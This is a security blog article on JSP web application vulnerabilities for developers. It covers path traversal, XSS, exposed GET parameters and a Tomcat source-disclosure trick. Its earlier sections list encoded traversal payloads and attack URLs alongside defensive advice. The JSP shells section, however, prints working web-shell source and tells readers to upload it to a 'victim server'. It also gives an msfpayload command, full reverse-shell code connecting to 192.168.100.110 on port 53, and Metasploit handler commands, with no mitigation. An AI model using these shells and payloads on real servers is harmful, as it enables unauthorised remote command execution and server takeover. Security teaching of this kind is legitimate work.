JSP Vulnerabilities and Fixes for Developers | Lucideus

Introduction
This article presents some of the vulnerabilities that are observed in Java JSP based web applications which may not be enough for developing a secure web application but it’s a good start. An application should be developed giving priority to its security and users’ data. It is a good practice to design APIs while keeping security in mind.

Vulnerabilities in JSP

Dot Dot Attack or Path Traversal
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

Request Variations
Encoding and double encoding:
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.

Percent encoding (aka URL encoding)
Note that web containers perform one level of decoding on percent encoded values from forms and URLs.
..%c0%af represents ../
..%c1%9c represents ..\

The following examples show how the application deals with the resources in use.
http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html

In these examples, it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory.
http://some_site.com.br/get-files?file=../../../../some dir/some file
http://some_site.com.br/../../../../some dir/some file

It's also possible to include files and scripts located on external website.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
All but the most simple web applications have to include local resources, such as images, themes, other scripts, and so on. Every time a resource or file is included in the application, there is a risk that an attacker may be able to include a file or remote resource you didn’t authorize.

How to identify if an application is vulnerable

  • Be sure you understand how the underlying operating system will process file names handed off to it.
  • Don't store sensitive configuration files inside the web root
  • For Windows IIS servers, the web root should not be on the system disk, to prevent recursive traversal back to system directories.

How to protect the application
  • Prefer working without user input when using file system calls.
  • Use indexes rather than actual portions of file names when templating or using language files (ie value 5 from the user submission = Dutch, rather than expecting the user to return “Dutch”).
  • Ensure the user cannot supply all parts of the path – surround it with your path code.
  • Validate the user’s input by only accepting known well – do not sanitize the data.
  • Use chroot jails and code access policies to restrict where the files can be obtained or saved to.
  • If forced to use user input for file operations, normalize the input before using in file io API's.
Cross Site Scripting
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

XSS Prevention Rules
Never Insert untrusted data except in allowed locations. The first rule is to deny all - don't put untrusted data into your HTML document unless it is within one of the slots.
HTML Escape before inserting untrusted data into HTML Element Content.
Attribute escape before inserting untrusted data into HTML common attributes.
Javascript escape before inserting untrusted data into javascript data values.
URL escape before inserting untrusted data into HTML URL parameter values.
Sanitize HTML Markup with a library designed for the job.

Secure Data in GET Request
This is quite simple. Because GET requests expose information as simple text, anyone can access and use that information. It's only a tiny step from there to malicious attacks. The target of this type of attack is servers and other clients.
Example: http://.../...jsp?creditcard=039383383&pin=33222
Address this type of attack by using the POST method instead of GET, and an SSL transport mechanism.

Container Vulnerabilities
Before putting your trust in a platform, you have to be aware of its vulnerabilities. For example, a well-known problem of Tomcat is that this container offers access to the JSP source by requesting the page as in the following example: 

http://server/page.js%2570, where %25 is a URL, encoded % and 70 is the hexadecimal value for p.

The target of this attack is both clients and servers. To address this type of attack, be aware of container vulnerabilities, and employ vendor-specific security support that addresses the specified vulnerabilities.

JSP Shells
JSP Shell is referred to as a “Java Server Page” that accepts arbitrary commands for execution on the hosting web server. Examples of servers that support such technology include JBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat. Traditional JSP shells use an HTML form to accept commands, but in more recent years JSP shells have been modified to initiate Metasploit sessions. 

Basic JSP shell
This is one of the most basic JSP shell code examples available. Basic use instructions are below.
  • Save the source code below as cmd.jsp and upload to the victim server.
  • Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.
<%@ page
import=”java.util.*,java.io.*”%>
<%
%>
<HTML>
<BODY>
<H3>JSP SHELL</H3>
<FORM METHOD=”GET” NAME=”myform” ACTION=”">
<INPUT TYPE=”text” NAME=”cmd”> 
<INPUT TYPE=”submit” VALUE=”Execute”>
</FORM>
<PRE>
<%

if (request.getParameter(“cmd”) != null) {
out.println(“Command: ” +
request.getParameter(“cmd”) + “<BR>”);
Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}

%>
</PRE>
</BODY>
</HTML>

Metasploit JSP Shell
Using the Metasploit JSP shell in an attack requires approximately six steps.

  • Generate the cmd.jsp shell with msfpayload
  • Upload the cmd.jsp file to the server
  • Run a Metasploit multi-handler on the local system
  • Visit the cmd.jsp page in a web browser
  • Obtain shell


To generate a JSP shell on a windows system using the command below. In the example below, the LHOST variable should be set to your IP address.

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

After the command is executed, Metasploit should output source code to the file cmd.jsp that looks something like the example below.
<%@page import=”java.lang.*”%>
<%@page import=”java.util.*”%>
<%@page import=”java.io.*”%>
<%@page import=”java.net.*”%>
<%
class StreamConnector extends Thread
          {
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
public void run()
        {
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ){
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ){}
try{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ){}
}
try
{
Socket socket = new Socket( “192.168.100.110″, 53 );
Process process = Runtime.getRuntime().exec( “cmd.exe” );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
}
catch( Exception e ) {}
%>

Next, upload the cmd.jsp file to the target server. Start the Metasploit multi handler. Open a msfconsole and type the following commands to start a multi handler in the background. The LHOST and LPORT variables should be configured relative to your system; the SHELL variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local firewall should be configured to allow traffic on port 53.

use exploit/multi/handler
setg LHOST 192.168.100.110
setg LPORT 53
setg PAYLOAD java/jsp_shell_reverse_tcp
setg SHELL cmd.exe
exploit –j -z

Finally, visit the http://www.somedomain.com/cmd.jsp page that was uploaded earlier and watch your msfconsole for a new session.

Conclusion
There are a number of attacks that can exploit the weak points of an application, not all of which are mentioned over here. To learn about other vulnerabilities, checkout webgoat by owasp which would be pretty helpful in understanding the common vulnerabilities that are found in the java J2EE based applications. WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is heavily recommended to look into webgoat and it’s counterpart webwolf.

References
[1] https://www.exploit-db.com/platform/?p=JSP
[2] https://www.owasp.org/index.php/Path_Traversal
[3] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[4] https://blog.netspi.com/hacking-with-jsp-shells/
[5] https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

No comments:

Powered by Blogger.